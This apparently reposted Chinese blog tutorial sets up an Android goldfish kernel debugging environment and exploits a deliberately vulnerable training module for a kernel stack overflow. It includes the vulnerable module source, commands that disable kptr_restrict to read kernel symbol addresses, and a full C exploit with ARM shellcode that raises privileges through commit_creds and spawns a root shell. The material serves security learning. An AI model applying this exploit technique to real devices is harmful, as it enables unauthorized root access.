1. 程式人生 > >Android內核漏洞利用技術實戰:環境搭建&棧溢出實戰

Android內核漏洞利用技術實戰:環境搭建&棧溢出實戰

fin vmlinux ant eas turn git static gin qemu

前言

Android的內核采用的是 Linux 內核,所以在Android內核中進行漏洞利用其實和在 一般的 x86平臺下的 linux 內核中進行利用差不多。主要區別在於 Android 下使用的是arm匯編以及環境的搭建方面。本文對我最近的實踐做一個分享,其實很簡單。

內核調試環境搭建

搭建平臺: ubuntu 16.04

這裏使用 android 模擬器來進行內核調試。首先下載內核代碼

git clone https://aosp.tuna.tsinghua.edu.cn/kernel/goldfish.git

然後下載 github 上的一個安卓漏洞利用的項目,

git clone https://github.com/Fuzion24/AndroidKernelExploitationPlayground.git kernel_exploit_challenges

然後使用項目中的 patch 文件把 patch 內核編譯配置,來把項目中的帶漏洞的模塊編譯進 linux 內核

    
git am --signoff < ../kernel_exploit_challenges/kernel_build/debug_symbols_and_challenges.patch && cd .. && ln -s $(pwd)/kernel_exploit_challenges/ goldfish/drivers/vulnerabilities

這裏註意: goldfish 目錄和 kernel_exploit_challenges

目錄要在同一目錄下

然後下載 arm-linux-androideabi-4.6 交叉編譯工具鏈 。下載完成後把它解壓後,然後把它加到環境變量中

    
tar xvf arm-linux-androideabi-4.6.tar.bz2 
export PATH=$(pwd)/arm-linux-androideabi-4.6/bin/:$PATH

然後進入 goldfish 目錄,開始編譯

    
make goldfish_armv7_defconfig && make -j8

編譯完成後,就會有兩個主要的文件:goldfish/vmlinuxgoldfish/arch/arm/boot/zImage

。前面那個用於在調試時 gdb 加載,後面的用於在安卓模擬器啟動時加載。

下面下載 安卓 sdk , 用來下載和運行 安卓模擬器。

sdk 下載地址: http://dl.google.com/android/android-sdk_r24.4.1-linux.tgz

然後把sdk 解壓

    
tar xvf android-sdk_r24.4.1-linux.tgz

把 android-sdk-linux/tools 加入環境變量,把下面的命令添加到 ~/.bashrc 的末尾<把命令中的目錄改成你的目錄>

export PATH=/home/haclh/hacktools/android-sdk-linux/tools:$PATH

然後重新打開一個shell, 使用下面的命令 <要先下載jdk ,並且設置好環境變量>

android

然後把下面標註的兩個下載下來


技術分享圖片
下載完後。首先查看下載的鏡像文件

    
$android list targets
Available Android targets:
----------
id: 1 or "android-19"
     Name: Android 4.4.2
     Type: Platform
     API level: 19
     Revision: 4
     Skins: HVGA, QVGA, WQVGA400, WQVGA432, WSVGA, WVGA800 (default), WVGA854, WXGA720, WXGA800, WXGA800-7in

然後創建 模擬器

android create avd --force -t "android-19" -n kernel_challenges

然後進入 goldfish 目錄,使用下面的命令來使用我們的內核來運行模擬器,並在 1234 端口起一個 gdbserver 來方便進行 內核調試

emulator -show-kernel -kernel arch/arm/boot/zImage -avd kernel_challenges -no-boot-anim -no-skin -no-audio -no-window -qemu -monitor unix:/tmp/qemuSocket,server,nowait -s

第一次運行有類似的結果:

    
$ emulator -show-kernel -kernel arch/arm/boot/zImage -avd kernel_challenges -no-boot-anim -no-skin -no-audio -no-window -qemu -monitor unix:/tmp/qemuSocket,server,nowait -s
WARNING: userdata image already in use, changes will not persist!
Creating filesystem with parameters:
    Size: 576716800
    Block size: 4096
    Blocks per group: 32768
    Inodes per group: 7040
    Inode size: 256
    Journal blocks: 2200
    Label: 
    Blocks: 140800
    Block groups: 5
    Reserved block group size: 39
Created filesystem with 11/35200 inodes and 4536/140800 blocks
WARNING: cache image already in use, changes will not persist!
Creating filesystem with parameters:
    Size: 69206016
    Block size: 4096
    Blocks per group: 32768
    Inodes per group: 4224
    Inode size: 256
    Journal blocks: 1024
    Label: 
    Blocks: 16896
    Block groups: 1
    Reserved block group size: 7
Created filesystem with 11/4224 inodes and 1302/16896 blocks
......................
......................
......................

為了便於後面的操作我們需要把 交叉編譯工具鏈 添加到環境變量裏。把下面的命令添加到 ~/.bashrc 的末尾<把命令中的目錄改成你的目錄>

export
PATH=/home/haclh/hacktools/arm-linux-androideabi-4.6/bin/:$PATH

然後重新開個 shell, 進入到 goldfish 目錄,加載 vmlinux 以便調試內核

arm-linux-androideabi-gdb vmlinux

如果一切正常,應該可以得到下面的類似輸出

GNU gdb (GDB) 7.3.1-gg2
Copyright (C) 2011 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "--host=x86_64-apple-darwin --target=arm-linux-android".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from <REDACTED>/goldfish/vmlinux...done.
(gdb)

然後連接 模擬器裏面的 調試端口

    
(gdb) target remote :1234
Remote debugging using :1234
cpu_v7_do_idle () at arch/arm/mm/proc-v7.S:74
74movpc, lr
(gdb)

如果能看到這樣的輸出說明已經可以正常進行內核調試了。

內核棧溢出漏洞利用

首先看看漏洞代碼, kernel_exploit_challenges/challenges/stack_buffer_overflow/module/stack_buffer_overflow.c:

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/proc_fs.h>
#include <linux/string.h>
#include <asm/uaccess.h>
#define MAX_LENGTH 64
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Ryan Welton");
MODULE_DESCRIPTION("Stack Buffer Overflow Example");
static struct proc_dir_entry *stack_buffer_proc_entry;
int proc_entry_write(struct file *file, const char __user *ubuf, unsigned long count, void *data)
{
    char buf[MAX_LENGTH];
    if (copy_from_user(&buf, ubuf, count)) {
        printk(KERN_INFO "stackBufferProcEntry: error copying data from userspace\n");
        return -EFAULT;
    }
    return count;
}
static int __init stack_buffer_proc_init(void)
{
    stack_buffer_proc_entry = create_proc_entry("stack_buffer_overflow", 0666, NULL);
    stack_buffer_proc_entry->write_proc = proc_entry_write;
    printk(KERN_INFO "created /proc/stack_buffer_overflow\n");
    return 0;
}
static void __exit stack_buffer_proc_exit(void)
{
    if (stack_buffer_proc_entry) {
        remove_proc_entry("stack_buffer_overflow", stack_buffer_proc_entry);
    }
    printk(KERN_INFO "vuln_stack_proc_entry removed\n");
}
module_init(stack_buffer_proc_init);
module_exit(stack_buffer_proc_exit);

上述代碼會創建 /proc/stack_buffer_overflow 設備文件 ,當向該設備文件調用 write 系統調用時會調用 proc_entry_write 函數進行處理。

漏洞顯而易見,在 proc_entry_write 函數中 定義了一個 64 字節大小的棧緩沖區buf, 然後使用 copy_from_user(&buf, ubuf, count) 從用戶空間 拷貝數據到 buf,數據大小和內容均用戶可控。於是當我們輸入超過64字節時我們能夠覆蓋其他的數據,比如返回地址等,進而劫持程序執行流到我們的 shellcode 中 進行提權。

首先我們來試試觸發漏洞。先把模擬器打開,然後 adb shell 進入模擬器,使用 echo 命令向 /proc/stack_buffer_overflow 設備輸入72字節的數據。

echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >  /proc/stack_buffer_overflow

技術分享圖片
可以看到 pc 寄存器的值 為 0x41414141 成功劫持。測試時該內核沒開 pxn ,所以我們可以在用戶態編寫shellcode讓內核去執行。提取的方式很簡單,內核態調用 commit_creds(prepare_kernel_cred(0)); 提升權限為 root, 然後返回 用戶態 執行 execl("/system/bin/sh", "sh", NULL); 起一個 root 權限的 shell, 完成提權。

下面先獲取 prepare_kernel_credcommit_creds 函數的地址。在 /proc/kallsyms 文件中保存著所有的內核符號的名稱和它在內存中的位置。

不過在最近的內核版本中,為了使利用內核漏洞變得更加困難,linux 內核目前禁止一般用戶獲取符號。具體可以看這裏。

當啟用 kptr_restrict是我們不能獲取內核符號地址的。

root@generic:/ # cat /proc/kallsyms | grep commit_creds                        
00000000 T commit_creds

在本文中,把它禁用掉,不管他。

    
root@generic:/ # echo 0 > /proc/sys/kernel/kptr_restrict                       
root@generic:/ # cat /proc/kallsyms | grep commit_creds                        
c0039834 T commit_creds
root@generic:/ # cat /proc/kallsyms | grep prepare_kernel_cred                 
c0039d34 T prepare_kernel_cred

禁用掉之後,我們就可以通過 /proc/kallsyms 獲取 commit_credsprepare_kernel_cred的地址。

至此,提權的問題解決了,下面就是要回到用戶態,在x86平臺有 iret指令可以回到用戶態,在arm下返回用戶態就更簡單了。在armcpsr 寄存器的 M[4:0] 位用來表示 處理器的運行模式,具體可以看這個。

所以我們把 cpsr 寄存器的 M[4:0] 位設置為 10000 後就表示 處理器進入了用戶模式。

所以現在的利用思路是:

  • 調用 commit_creds(prepare_kernel_cred(0)) 提升權限

  • 調用 mov r3, #0x40000010; MSR CPSR_c,R3;設置 cpsr寄存器,使cpu進入用戶模式

  • 然後執行 execl("/system/bin/sh", "sh", NULL); 起一個 root 權限的 shell

最後的 exp :

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
#define MAX             64
int open_file(void)
{
        int fd = open("/proc/stack_buffer_overflow", O_RDWR);
        if (fd == -1)
                err(1, "open");
        return fd;
}
void payload(void)
{
                printf("[+] enjoy the shell\n");
                execl("/system/bin/sh", "sh", NULL);
}
extern uint32_t shellCode[];
asm
(
"    .text\n"
"    .align 2\n"
"    .code 32\n"
"    .globl shellCode\n\t"
"shellCode:\n\t"
// commit_creds(prepare_kernel_cred(0));
// -> get root
"LDR     R3, =0xc0039d34\n\t"   //prepare_kernel_cred addr
"MOV     R0, #0\n\t"
"BLX     R3\n\t"
"LDR     R3, =0xc0039834\n\t"   //commit_creds addr
"BLX     R3\n\t"
"mov r3, #0x40000010\n\t"
"MSR    CPSR_c,R3\n\t"
"LDR     R3, =0x879c\n\t"     // payload function addr
"BLX     R3\n\t"
);
void trigger_vuln(int fd)
{
        #define MAX_PAYLOAD (MAX + 2  * sizeof(void*) )
        char buf[MAX_PAYLOAD];
        memset(buf, ‘A‘, sizeof(buf));
        void * pc = buf + MAX +  1 * sizeof(void*);
        printf("shellcdoe addr: %p\n", shellCode);
        printf("payload:%p\n", payload);
        *(void **)pc  = (void *) shellCode;   //ret addr
        /* Kaboom! */
        write(fd, buf, sizeof(buf) );
}
int main(void)
{
        int fd;
        fd = open_file();
        trigger_vuln(fd);
        payload();
        close(fd);
}

技術分享圖片
參考鏈接

http://www.cnblogs.com/armlinux/archive/2011/03/23/2396833.html

http://blog.sina.com.cn/s/blog_6ac051b2010123cz.html

http://bobao.360.cn/learning/detail/3702.html

https://github.com/Fuzion24/AndroidKernelExploitationPlayground

Android內核漏洞利用技術實戰:環境搭建&棧溢出實戰